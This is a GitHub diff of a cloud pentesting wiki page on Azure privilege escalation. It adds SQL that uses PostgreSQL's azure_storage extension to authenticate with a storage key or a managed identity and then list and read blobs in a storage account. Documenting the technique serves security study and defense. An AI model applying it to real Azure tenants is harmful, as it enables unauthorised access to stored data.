File tree Expand file tree Collapse file tree
src/pentesting-cloud/azure-security/az-privilege-escalation Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -51,13 +51,25 @@ az postgres flexible-server identity update \
5151 --system-assigned Enabled
5252```
5353``` sql
54-
54+ -- Make sure the extension is installed
5555CREATE EXTENSION IF NOT EXISTS azure_storage;
5656
57- CREATE EXTERNAL DATA SOURCE ManagedIdentity
58-
57+ -- Login using storage keys
5958SELECT azure_storage .account_add (' <storage-account>' , ' <storage-key>' );
59+ -- Login using managed identity
60+ SELECT azure_storage .account_add (azure_storage .account_options_managed_identity (' <storage-account>' , ' blob' ));
6061
62+ -- List configured accounts
63+ SELECT * FROM azure_storage .account_list ();
64+
65+ -- List all the files in the storage account
66+ SELECT *
67+ FROM azure_storage .blob_list (
68+ ' <storage-account>' ,
69+ ' <container>'
70+ );
71+
72+ -- Access one file inside the storage account
6173SELECT *
6274FROM azure_storage .blob_get (
6375 ' <storage-account>' ,
@@ -66,7 +78,6 @@ FROM azure_storage.blob_get(
6678 decoder := ' text'
6779) AS t(content text )
6880LIMIT 1 ;
69-
7081```
7182
7283Additionally it is necesary to have the public access enabled if you want to access from a non private endpoint, to enable it:
You can’t perform that action at this time.
0 commit comments